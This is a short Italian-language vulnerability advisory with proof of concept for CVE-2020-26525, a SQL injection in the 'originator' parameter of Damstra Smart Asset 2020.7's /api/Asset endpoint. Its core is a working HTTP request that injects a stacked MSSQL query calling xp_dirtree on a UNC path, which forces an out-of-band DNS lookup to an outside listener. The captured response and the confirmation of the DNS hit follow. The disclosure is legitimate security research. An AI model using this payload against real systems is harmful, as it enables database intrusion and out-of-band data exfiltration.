SmartAsset-SQLinj-CVE-2020-26525

Damstra Smart Asset 2020.7 presenta una SQL injection tramite il parametro originator dell'API /api/Asset.

Smart Asset - versione 2020.7

CVE-2020-26525

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Richiesta HTTP:

GET /API/api/Asset?assetCode=XXX-08-X-01-06-01& originator=FIRSTNAME.LASTNAME'%3bdeclare%20@q%20varchar(99)%3bset%20@q%3d'%5c%5c<>%5cqoe'%3b%20exec%20master.dbo.xp_dirtree%20@q%3b--%20 HTTP/1.1 Authorization: Bearer eyJhbGc ... Cookie: _ga=GA1.3.1950130407.1600387365; _gid=GA1.3.1208628208.1600387365; ajs_group_id=null; intercom-id-zk1ecu97=47f0bf3f-35aa-4f97-9239-456XXa65; intercom-session-zkXX97=

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Risposta HTTP:

HTTP/1.1 401 Unauthorized Cache-Control: no-cache Pragma: no-cache Content-Type: application/json; charset=utf-8 <>

"Originator provided does not match originator stored within token!"

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Il server remoto in ascolto ha ricevuto una query DNS di tipo A per il nome di dominio <> da target.url.com

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[Scopritore] Lukasz Studniarz